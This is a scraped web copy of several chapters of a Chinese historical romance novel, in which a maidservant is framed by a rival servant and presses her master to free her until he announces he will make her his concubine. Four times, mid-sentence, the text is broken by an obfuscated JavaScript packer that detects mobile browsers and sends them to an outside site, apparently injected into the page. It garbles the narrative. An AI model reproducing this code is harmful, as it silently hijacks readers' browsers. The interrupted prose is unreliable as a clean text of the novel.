“映月，你打哪里来的，能照顾得好郎君么？”画秋哼声道，“郎君打小便没有用消夜的习惯，想来是你擅作主张，将这些不好的习性带了来。” 施筠捧着手里的糕点，只觉今夜送也不是，不送也不是。 画秋仍在数落她，一张樱桃似的唇瓣，一开一合。 画秋见施筠像块木头桩子愣着，心里堵着气，复又尖声道：“不知郎君看重你那里了，哪有管家的气派！” 语罢，画秋快步上前，一把夺过施筠手上的碟子。 “你也莫楞着了，东苑也用不着你，歇着去吧。”画秋看她不争不抢，实在不好再发难，便扭着细腰，捧着糕点回了东苑。 画秋既愿意替她干这些事，施筠乐得自在。 只要谢长溪没有别的吩咐，她宁愿画秋把所有的活都揽了去，有什么好争的呢。 替人干活，还要比谁干的活更多吗。 在江陵过完年回汴京已是三月初，汴京冬雪早已消融，只初春还泛着点冷意。 施筠回了耳房，心里想着放良的事，始终不安宁。说来也怪，甫一回侯府，她极少见谢长溪，且有画秋时常拦着她。 如今，近身伺候的活也都被画秋揽了。 越是如此，施筠越是心慌。 好歹给人一个准信。 翌日，施筠闲来无事，便去花房照料兰花，谁知画秋跟了来，依旧是盛气凌人的模样。 “映月，你倒是会躲懒，你做的糕点郎君可是一口未动。我劝你少花些心思在这上面，莫去做见不得人的事。”画秋挑着眉打量施筠。 画秋从前在崔氏身边侍奉，没见过施筠。若是侯府里头的人，画秋多少摆点谱，可偏偏施筠是郎君亲自带回来的。 画秋黑瞳一转，想到她是夫人派来管事的，到底比施筠野路子来的有体面。 施筠见画秋眼角眉梢挂着笑，也不知她在想什么，便转身侍弄兰花。 良久，画秋缓缓上前，一只手横空出现在施筠眼前，旋即向后一挥，而后惊呼一声。 景盆落地，砰的一声，松软的泥土迸在裙摆上。 施筠眸光微滞，一面心疼兰花遭了难，一面又觉画秋太刻薄。 “啊呀！映月姑娘，你也太不小心了。” 她这一声仿佛是从肺腑里震出来的，花房附近的女使闻声纷纷赶来，瞧见里头就站着画秋和施筠。 画秋故作关心地牵过施筠的手，翻来覆去地看，“映月姑娘可伤那里了？” 施筠无动于衷地看着画秋，她从前小瞧了侯府里的弯弯绕绕。 画秋变脸栽赃的手段，恐怕是一等一的。 这花房就她二人，画秋先发制人，她就是长了十张嘴也难说请。 “你瞧你，不知道郎君最喜兰花了么，还这般不小心。”画秋挑衅一笑，转身遣散对门外的女使婆子。 施筠俯身捧起兰花，冷冷道：“不知我哪里得罪了你，为何要处处针对。” 画秋勾唇道，“一山不容二虎的道理没听过？东苑何须两个管事的，映月别怪我没提醒你，我是夫人派来的，自是有夫人护着，你呢？” “别以为你有几分姿色，就以为郎君会护着你，趁早死了这条心。”语罢，画秋哼道，“你打碎了兰花，今夜也莫用饭了，好生思量思量。” 施筠不语，只将兰花用新的景盆栽了进去。 因画秋的话，施筠被画秋的人拦着不许用饭，施筠无奈，只转身回屋。 回侯府的日子越久，施筠心里越不安，她将攒了近一年的月钱取出来数了数，共计十五两，还有先前谢长溪赏的料子，若是拿出去当了也是一笔进项。 “姐姐，我这去拿了点心来。” 房门外，一道轻柔的声音响起。 施筠起身开门，见是铃香，便将她牵了进来。 铃香拿出油纸包的糕点，满脸担忧地盯着施筠。 铃香低声道：“兰芳本也要来见姐姐，只是她心里积着一口气，怪姐姐不肯和画秋争。” 施筠心里苦笑，轻声说，“争什么？我本就待不了几日了。铃香你来的正好，我有事要拜托你。” 铃香惑然，问：“怎么了姐姐。” 施筠取出上好的料子，“我想把这些都当了，去岁郎君允诺过我，说回了汴京便将我放良，我寻思着这些东西日后我也用不上，倒不如换成银子心里踏实。” 铃香接过，心头不舍，愣愣地望着施筠。 “姐姐是非去不可么，外头哪里好了。”铃香不解，“罢了，姐姐既想好了，我便照姐姐说的做。” 一连几日，施筠都未见到谢长溪，莫不是忘了要将她放良。 再这样等下去，不知等到猴年马月。 这天夜里，趁着画秋回了正房，施筠借着上茶的由头，进了书房。 书房灯烛摇曳，谢长溪回京后任尚书省右司郎中，兼权知开封府，书案上放着一摞摞卷宗，他倚在案边看卷宗。 施筠小心地将茶奉上。 谢长溪目光顺着盏茶逐渐上移，只见施筠素净淡然的眉眼，原先因卷宗枯燥的烦闷情绪蓦然退却。 他没细算几日未见，现如今再见倒有几分新意。 崔氏派了画秋打理东苑，是何用意。 谢长溪心里清楚，连带着画秋处处针对施筠他也清楚。 起先，谢长溪本不愿画秋打理东苑的事，一来他习惯施筠侍奉左右，二来是画秋的心思重，这样的人留在身边岂能安心。 可他对施筠的态度却有些好奇，不知施筠会如何应付。 他清楚施筠性子软，过于善良。 或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523108|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许在画秋的施压下，会找他讨个公道又或是诉苦。 可施筠一样也没有，只默默忍受，她既愿意忍让，他便让她忍个够。 “何事。”谢长溪放下卷宗，身子后仰，抬眼看她。 施筠身着月白色缠枝长褙子，素色罗裙，静静地站在月光下。她不动时，眉眼总低垂着，像那寺庙里的观音。 “郎君奴是为先前的一桩事来，”施筠眉心轻蹙，婉转陈词，声音格外轻，“去岁郎君说要替奴筹谋，如今江陵事毕，想问郎君何时了结此事。” 谢长溪眸光忽沉，胸口蓦地郁气，连带着说话的语气也沉冷起来，他道：“你就为此事来？” 施筠颔首，眸光坚毅。 “难为你将这事日日放在心上，可还有别的事？”闻言，谢长溪不再看施筠，方才还觉得舒心的眉眼，现下瞧着直叫人心烦。 他从她的身上，又看到了那打不散，斩不断的傲气。 施筠抿唇，低声道：“郎君公务繁忙，贵人多忘事也是有的。这于郎君兴许是桩小事，可于奴却是人生大事自是不能忘的。” “再大的事，也能有你眼前的事大？目光放的太长远反倒是杞人忧天。”谢长溪语气沉凝。 施筠不知谢长溪在说何事，只顺着他的话，“郎君说的是。那奴眼前便想郎君给我个准期，何日能让奴离开。” 谢长溪熬得起，可她不敢再在侯府多待一日，唯恐在无形中又得罪了什么人。 谢长溪眉心拧得更紧，施筠说得一番话倒是越来越刺耳，翻来覆去都是这么个意思。 她怎么就是这么犟，就看不出他不爱听这些话？ 谢长溪如是想，施筠却一点不知，她抬眼去看谢长溪的脸色，什么也瞧不出，平静温和得跟平日没有分别。 要说真有些差别，兴许是眉梢压得低了一毫米。 谢长溪随口道：“此事不急，待我娶妻后，自会放你。” 卷宗上的字他一个没看进去，复又想起施筠始终不肯提画秋的事，想来也没将他当作主子依赖，不免怒从心起。 “可还有事？”谢长溪问。 施筠摇头。 “罢了，想来你也没将我当成主子，由得旁人欺负。”谢长溪掷开卷宗，冷声道，“你日后也不必再进书房。” 施筠眉心跳了跳，实在拿不准谢长溪因何动了怒。 自她服侍谢长溪以来，何曾见过他语气冰冷，连带着那张温雅的脸都沉了起来。 初春的晚风裹着丝丝缕缕的寒意往后背钻，施筠身心俱寒，强压下心头的不安，转身离开书房。 见施筠的身影翩翩走远，谢长溪这才回过神。他素来养气功夫好，喜怒不形于色，课方才愣是没忍住动了气。 他自问从未亏待过施筠，她怎么就非要放良离开。 但看江陵那遭事便知她是个没脾气的，心善却不识人，就她这样的女子出了府，只有被人拨了皮，拆吃入腹。 他如今这般待她，她却铁了心的要放良。 思及此，谢长溪无心再看卷宗，他抬手捧起茶盏，可惜茶已凉了。 他略一仰头，闷了冷茶。 12.第 12 章 初春时节，汴京小雨纷纷，城外桃红柳绿，苑中花木生发。 回侯府的前些日子，施筠忙着打理江陵带回的旧物，画秋又将她盯得紧。 这一来，施筠没空出府，待三月一过，四月初八是阿荷的忌日，她是要出府去拜的。 现下谢长溪不肯让她近身伺候，施筠清闲不少，只是画秋的人无处不在，时时刻刻就将她盯着。 想起阿荷，施筠难免惆怅。 她回了从前和青荷待过的屋子，里头的陈设未变，角落蛛网盘结，这儿似乎已被遗忘。 施筠坐了一夜，心里思绪万千，她唯一的盼头就是谢长溪赶紧娶妻。 三月底，侯府表姑娘来侯府暂住。 这位表姑娘是崔氏的表侄女，唤崔姝。清河崔氏本是名门望族，可这一代一代的传下来，到崔姝父亲这一代已是穷途末路，崔父入仕多年，仍是个从六品的大理寺丞。 崔姝一入侯府，明眼人都瞧得出是何用意。 谢长溪的婚事朝廷多少双眼睛盯着，崔氏如今要选崔姝做儿媳，倒也无可厚非。 谢长溪若是娶了名门贵女，也要看这贵女背靠着谁的势力。 如今他有意避开党争，在娶妻一事上自然要斟酌万分。 且说崔姝进府后，崔氏是疼得如珠似宝，每日都要拉着崔姝说家常话。 崔姝怎会不知姑母的用意，只好面上应承着，心里是不太情愿的。 这日，崔氏带着崔姝往东苑去，东苑本是侯府最清净的地，崔氏一来便搅了这清净，女使婆子不敢松懈。 崔姝同崔氏在竹亭里坐着，崔氏捧着一盏茶，柔声道：“姝儿，你不常来侯府，莫要跟我生疏了。你表兄平日里也念着你，只是公务繁忙抽不开身罢了。” 崔姝生得清秀灵动，柳眉下的双眸带出浅淡的笑意。 崔姝叹道：“姑母这是说的什么话，姝儿不过是怕姑母嫌我小家子气。” 闻言，崔氏蹙眉，她不爱听崔姝说这话。 清河崔氏好歹是名门望族，崔姝好歹出身崔氏，何来小家子气一说。如今崔氏确不如前朝那般风光，可也没到自轻自贱的地步。 崔姝哪知崔氏的心思，见崔氏拧着眉，崔姝也不知那句话说错了。 “姝儿，这话日后不要再说。”崔氏沉声道，放下茶盏，召来画秋，“雪臣何时回来？” 画秋回道：“郎君今日听闻表姑娘要来寻他，便说戌时就可回来。” 崔姝听罢，莞尔轻笑。 只是那笑好似挂在脸上，瞧不出什么欢喜。 画秋回完话，便退了下去，她心念一动转头去寻了施筠。 “映月，表姑娘就在竹亭那边，这可是你我未来的主母，你不想去瞧瞧？”画秋挑眉看她。 施筠正于窗前打理兰花，灿灿金光照在她白皙的脸上。 画秋暗忖，凭着有点颜色便指望着能得郎君的心，妄想乌鸦变凤凰。 思及此，画秋心底有了主意，她要实打实的给她点颜色瞧瞧。 施筠被画秋扰得头疼，画秋声音本就尖细，这会又在她跟前喋喋不休。 “你在这儿同我说这些有的没的，不妨躲在郎君跟前露面。我志不在此，也不必日日都将我盯着。”施筠不耐道。 画秋无非是怕谢长溪看上她，可她原本也没这个心思，不如将话挑明。 闻言，画秋暗啐施筠假清高，这府上谁不想得郎君的青眼。 谢长溪生得温雅俊朗，年少得志，这样的郎君不知是多少姑娘的春闺梦里人。 戌时刚过，画秋仍不肯走。 画秋道：“眼瞧着郎君就要回来了，竹亭那边要人呢，你莫在这里弄花了，厨房里泡的花茶去端给表姑娘。” 语罢，画秋往竹亭那头去，施筠应她话去厨房捧来花茶。 施筠奉上茶，崔氏余光一扫，只觉那奉茶的女使有些眼熟，一时却没想起。 恰此时，谢长溪踏着暮色归来。 他上前先向崔氏躬身请安，而后看向崔姝，温柔一笑。 “表兄。”崔姝起身娇羞颔首。 这是崔姝这么多年头一回见这位探花郎表兄，确如汴京传闻的那般，生得丰神俊朗，身上带着官场上历炼出的威压。 崔姝只略看了一眼，便接过花茶，抿了一口。 施筠退至一旁，同画秋站在一块。 画秋唇边掩不住的笑意，她这得意的模样，叫施筠心神不宁，只觉她又有什么阴招在路上。 正想着，那头崔姝惊叫起来，复又挠起后颈。 不多时，白皙的脸上泛起红斑，又痒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527743|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又疼，崔姝急得泪水翻涌。 “姑母，姑母——” 崔姝痛呼道。 崔氏震怒，板着一张脸，呵道：“好大的胆子，我且问你在花茶里放了什么？” 施筠悚然一惊，上前回话，“夫人，奴只是去厨房取了花茶，并未放什么。” 谢长溪命人将崔姝送到府上厢房，临行前，崔姝忍着疼，道：“姑母，也莫怪她，我打小就这样，也不知是不是她的过错。” 谢长溪看向施筠，她跪在地上，身上那股傲气藏在她的眉眼间。 “表妹，这不是小事。侯府下人用心不专，查清楚的好，带表姑娘回下去歇着。” 崔姝本想再为施筠求情，可她脸上痒得很。何况这是侯府，哪有她说话的地儿，难不成当真要来摆一摆主母的架子。 她可不想。 春日霞光如锦缎铺陈，只可惜转瞬即逝，月已冒尖。 施筠跪在亭前，崔氏和谢长溪端坐上方，二人的目光犹如凌迟的铡刀，好似要把她身上的皮肉剐下来。 方才奉茶时，魏妈妈已将施筠认了出来。 当初因这个小丫头，柳妈妈可是被挤兑走了，好生可怜。 原以为只是打发到庄子上，谁知她上回出府去，瞧见柳妈妈蓬头垢面的在街上行乞，看得人心里五味陈杂。 想那柳妈妈原也是体面人，被这丫头害得不轻。 魏妈妈凑到崔氏身边，耳语几句。 听罢，崔氏眉宇间的怒气更甚。 “画秋，你来说，是怎么一回事。”崔氏看向一旁稳如泰山的画秋。 画秋得意上前，道：“我命映月去取花茶，实在不晓得她做了什么手脚。前些日子，映月还不甚失手打碎了兰花，花房的人都瞧见了，想来是对我心有怨气。” 崔氏看向谢长溪，沉声道：“雪臣，是你的人，你且说说要如何处置，无规矩可不成方圆。” 施筠用余光去看谢长溪，只见他面容沉静，眸光淡然，也不知他会如何处置。 自打回侯府，施筠没过过一天快活日子。 前有虎，后有狼。 谢长溪如何就是不肯放她呢。 施筠暗自想着，谢长溪如何处置她，已不甚重要。 左不过再忍忍，忍到放良那日。 13.第 13 章 “映月，你可有话要说？”谢长溪问道。 施筠摇头，叩首道：“夫人，郎君，此事确实是奴的错。” “雪臣，你也瞧见了，你苑里都是些什么人？”崔氏恼道，忆起方才崔姝起的红疹，便又软了态度，道“姝儿这一病，便叫她在府上多待一段时日，你也多去瞧瞧她，别生分了。” 谢长溪直盯着施筠，前些日子被冷茶浇下去的怒意，竟又翻涌起来。 是了，是了。 施筠从未将他当作明事理的主子，但凡是个人便能欺辱她。 想到此处，谢长溪骤然起身，朝崔氏道：“自然。” “既是你犯了错，便到廊下跪上三个时辰。” 语罢，谢长溪转身回东苑。 崔氏愕然，犯了这事，谢长溪竟只是叫施筠罚跪。 待施筠走后，画秋向崔氏委屈道：“夫人不晓得，映月在东苑那可是清闲得紧，郎君原是不吃消夜，可映月每日都为郎君做，是拿准了郎君心软呢。” 崔氏蹙眉道：“雪臣可不是那等心软的性子。那丫头颇有些手段，先前我是想将她发卖了去，是雪臣拦了下来。” 魏妈妈忆起柳妈妈的境况，婉言道：“夫人，我瞧着她心里是不服气的，趁早撵出去的好。” 崔氏抬手扶额，她倒是有这个心，可碍着谢长溪的面子，哪里由得她做主。如今谢长溪愿顺着她与崔姝接触，便已是给她这个做母亲的面子。 满京城的世家贵女，崔氏若有心自然能寻得家世好、样貌好的姑娘。 崔氏挑中崔姝做儿媳，是她和谢长溪权衡利弊的结果。 家世好的贵女多与国公爷来往，谢长溪并不想与新党关系太近，只能向下挑。 挑来挑去，好似也只有崔姝最为合适。 这一来，她满意，谢长溪也默许，两全其美。 崔氏好不容易同谢长溪心意一致，她如今也不愿意去触他的霉头。 谢长溪若愿意留着施筠，那便留着。左右在她的眼皮子底下，还能叫个小姑娘掀翻了天？ 施筠跪在东苑前，她已数不清这是第几回罚跪。 总之，万般不由她。 不知跪了多久，铃香趁着夜里人少，赶忙将汤饼塞到施筠手里。 “姐姐，你又再犯糊涂了。我都听说了，我是不肯信姐姐做了那等事，可你为何不同郎君解释？” 铃香满眼担忧，心口堵着气，却又不忍心同施筠说。 她是担心施筠的，从江陵到侯府，铃香一路跟过来，明白施筠总在忍着什么，可到底为何，她却不明白。 施筠轻拍铃香的肩，“让你担心了。” “姐姐莫说这些，我情愿姐姐活得痛快些，我心里也好受。”铃香含着泪，别过眼不去看施筠。 施筠哪里不想痛快地活下去，可在侯府没有她痛快的地儿。 只能忍着，忍到谢长溪给她放良书。 她今日见谢长溪为崔姝着急，想来这婚事也很快会定下来。 她只需再等等，再等等。 —— 崔姝要在侯府小住，老太太那头得了消息，同崔氏通过气后便设了一场家宴。 侯府本有三房，可惜另外两房外放做官，极少回汴京。 老太太膝下冷清，身边就指着长房承欢。可谢长溪仕途正好，公务繁忙，别说陪老太太说话，连在府里用饭的日子都少得可怜。 这回崔氏做主让崔姝来府上小住，老太太心里跟明镜似的。 谢长溪少年得志，外放三年归来，已二十有一。 而后紧接着外放荆州，这一来，他今岁二十二，旁的世家公子这年纪孩子都有了。 老太太心里着急，可有什么法子，她的这个长孙跟母亲不合，又是个极聪慧的，事事都有自个儿做主。 况且这侯府的门楣往后还要靠他撑起。 如今见谢长溪肯与崔姝相看，心里欢喜得紧，备了不少礼预备送给孙媳妇。 那崔姝，老太太往日是见过的。 模样、性情虽比不上王公贵族，但人识趣知礼，也堪配谢长溪。 思及此，老太太略有些惋惜，依着谢长溪如今的功绩才华，娶个世家贵女才好相配。 崔氏一族往日里有些风光，到如今于谢长溪的仕途并无助益。 可好歹是有了着落，也罢了。 老太太心里一番思量，拉起崔姝的手，语气慈蔼，“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537357|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子，不必拘束，就当是自个儿的家。” 崔姝神色淡淡地颔首。 这会谢长溪尚未下值，老太太的荣善堂，尚且有些冷清。 崔氏嗔怪道：“你往后跟着雪臣叫祖母就好，你这孩子，总放不开，叫外人看了去岂不丢了脸。” 崔姝没得心烦，只是面上不显。 崔氏虽是她的表姑，可终究隔了房，且多年未见，哪里有什么姑侄情深。 这些长辈三言两语就将她的终身大事定下，由不得她说一句不愿意。 自个家里想攀侯府，姑母也情愿她做儿媳。 长辈们倒是你情我愿，却不问问她。 崔姝抹开面，应承道：“姑母教训的是。” 崔氏同老太太拉着崔氏问了好些话，日暮时分，画秋进屋内禀道：“郎君回来了。” 老太太笑得眼睛眯成一条缝，道：“好啊，好啊，快让他进来。” 崔姝难得躲开盘问，便捧起建窑兔毫盏，抿了一口茶。 她从前在家里没用这样的杯盏，心里五味陈杂。 侯府处处都比崔宅好，走不到尽头的曲折回廊，吃不尽的好茶，穿不完的美衣华服。 哪里都好，哪里都不好。 崔姝兀自叹了一口气。 崔氏与老太太一道往门口看去。 谢长溪已换上常服，一身月白直裰，远看素净，近看才见云纹隐隐。腰间束一条银丝带，垂着一枚墨玉佩，愈显身姿清隽、眉目如画。 他后头跟着施筠身着豆绿褙子，领口露出一截淡青抹胸。褙子是细棉布，浆洗得挺括，袖口还绣了几笔浅色兰草。 老太太目光停在施筠身上，侯府的女使哪里就落魄到了这个地步，何况还是她孙儿身边的人。 她尚且清明的眸子，将施筠从头到脚打量一遍。 “雪臣，近前来我瞧瞧。”老太太含笑道。 谢长溪上前请崔氏和老太太的安，老太太安排谢长溪坐在崔姝身边。 见崔姝在身侧，谢长溪温声问：“表妹可都大好了？” 崔姝微笑颔首。 他二人一问一答，再寻常不过的问候，到了老太太眼里却是越发的郎才女貌。 14.第 14 章 席间，施筠和画秋一左一右地站在谢长溪身后布菜。 谢长溪尚未动筷，便听老太太发话。 “雪臣，你年岁不小了。”老太太放下筷子，拿帕子按了按嘴角，抬眼看向谢长溪，语气慈蔼却带着不容置疑的意味，“姝儿同你，自幼也算认得。如今她来府里小住，我这个做祖母的，少不得替你们打算。” 崔氏闻言，立时接上话，笑道：“可不是。老太太疼你，才替你想得周全。姝儿这孩子知根知底，又温柔贤淑，配你是再合适不过的。”她说着，看了崔姝一眼。 崔姝坐在下首，闻言身子微微一僵。 她垂着眼，筷尖抵在碗沿上，半天没夹起一粒米。 “祖母说的是。”谢长溪开口，声音平稳，“孙儿确实年岁不小，该成家了，婚事但凭祖母和母亲做主。” 他抬眸看向老太太，神色淡淡，看不出喜怒。 老太太面露喜色，旋即眉开眼笑，连连点头，“好，好，也算了却我的一桩心事。” 听罢，施筠握着银筷的手指猛地收紧。 她低着头，盯着面前的碟子，碟子里是一块她刚布过去的桂花糯米藕，藕孔里塞着糯米，淋了蜂蜜，晶莹剔透。 谢长溪的婚事定下了，离她放良的日子近了。 施筠一时失神，老太太瞧出她的异样，不禁皱眉。 “雪臣，你身边这丫头瞧着倒是机灵。我身边尽是一帮婆子，未免沉闷，不如把这丫头给了祖母，也好解解闷儿。”老太太看向施筠，目光慈蔼温和。 施筠回过神来，侧目看向谢长溪。 好不容易熬到谢长溪婚事落定，谢长溪若将她给老太太，岂不是前功尽弃。 思及此，施筠敛眉垂眸，用藏在桌下的手指扯了扯他的衣袖。 谢长溪眸光微动，弯唇笑道：“祖母说笑了，她是个蠢笨的。祖母若是想要机灵些的，孙儿便将画秋给祖母。” 闻言，画秋的手一僵。 崔氏亦变了脸色，眉间沾了些许怒意。 崔姝无心关注谢家人的眉眼官司，她只为这婚事发愣。 老太太见谢长溪开口，亦不好再讨要施筠，只好收下画秋。 左右是把他的婚事定下，老太太本意是想将施筠放在身边，以免谢长溪在婚前失了分寸。 倘若谢长溪真心喜爱那丫头，日后还他便是。只是老太太没想到，谢长溪竟是护得这么紧。 老太太为这场家宴费了神，只吃了几口，就叫人撤了下去。 崔氏丢了画秋，心里也不大畅快，早早地回正屋去。崔姝亦是在想这桩婚事，心不在焉。 月上中天，侯府小径清幽，晚风拂面，犹为料峭。 廊下灯笼已熄了大半，只余三五盏疏疏朗朗地亮着，光影斑驳地洒在青砖上，如碎了一地的霜。 施筠跟在谢长溪身后，自出了荣善堂，谢长溪眼角眉梢都染了一丝笑意，想来心情不错。 趁这时机，施筠决心再提放良的事。 “郎君。” 施筠朱唇轻启，声音轻细。 眼见就要到东苑，谢长溪面带微笑，温声道：“回东苑说。” 施筠颔首，离东苑越近，仿佛就离放良越近。 在侯府前后四年，终于等到这一日。 只要离开侯府，她可以靠自己，为自己做主，不必事事忍让。 万般事，只凭自己说了算。 回了东苑，施筠先去沏了茶，而后捧着一盏茶去寻谢长溪。 施筠将茶放在案前，谢长溪抿了一口，静静地看她。 谢长溪坐于案前，眸光缱绻，仍旧带着笑意，他问施筠，“你方才想说何事？” 施筠立在谢长溪身前，往后退了两步，旋即跪在他身前。 “郎君的婚事已定，奴心里为郎君高兴，”施筠放软声音，顿了顿，“郎君奴是为放良的事担忧，还请郎君早日允了奴的事，奴日夜不安，唯恐郎君忘了此事。” 闻言，谢长溪将杯盏重重搁在案前，眉眼沉凝。 “映月，可是我纵得你一而再再而三的提此事。”谢长溪沉声道，“我原以为你今日是有别的话同我说。” 施筠眉心深蹙，不解其意。 “郎君是想听奴说什么？”施筠眸光轻颤，疑道。 谢长溪太反常，施筠拿不准他究竟是何意思。 事到如今，他的婚事也定了，还拖着她不肯放？ 施筠直愣愣地看着谢长溪。 谢长溪垂眼看她，语气稍缓，“映月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539804|203359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我知你近来受了不少委屈，你若心里有怨，便同我直说，你是我的人，也不由旁人欺负，你可知道？” 这些天他将施筠的委屈看在眼里，只是她不肯说一个字，都闷在心里。 如今他的婚事已定，想来是她心里觉得委屈，才又说起这通气话。 谢长溪眉眼舒展开来，看向施筠的目光温柔起来。 见她跪在地上，不免有些心疼。 她身上还穿着从前的旧衣，未免太磕碜。 施筠没听明白谢长溪话里的意思，他想听她说什么，她的委屈，还是她一心想要放良。 她不想要谢长溪为她撑腰，只想离开侯府，如是而已。 可谢长溪为何总要推拒，婚事也已定下，难不成真要纳她为妾。 不可能的，她如今还是贱籍，良贱不通婚，何况崔氏不喜她，又怎会让谢长溪纳她。 施筠被谢长溪的一番话搅得心神不宁，手心不知何时腻出了一层汗。 她心下忐忑不已，找不到落定的地方。 为何会变成这样，施筠不敢再深想。 “郎君，奴不明白。”施筠抬眸与谢长溪对视，声音沉了几分，“郎君从前应奴的话，难道不作数了吗，奴心里没有丝毫委屈。” 话落，屋外刮起一阵疾风，吹得施筠后背发寒。 谢长溪看她一双清凌凌的眼睛，明亮、倔强。 她为奴为婢，从不褪去眼底执拗的骨气。 一个奴婢要什么骨气，她若非要如此。 他倒要看看，她能撑得住几时 月光清凌凌的落在施筠身上，映得她身形纤弱，好似秋日里的兰花，摇摇欲坠，生机不再。 谢长溪心知施筠出身卑微，因此生出几分耐心，他不疾不徐地道，“你既不明白，我便说与你听，我原以为你是受了委屈同我置气，你心中既没有怨言，那倒也罢了。” 施筠看着他，见他起身走至她身前，眉间笑意尤甚。 “郎君，奴只求郎君守诺。” 施筠微微仰头，言辞恳切。 谢长溪恍若未闻，立在她身前，面带微笑，“月娘，往日我便说过要为你筹谋，如今待表妹过门我便纳你为妾。” 话落，他伸手温柔地将她扶起。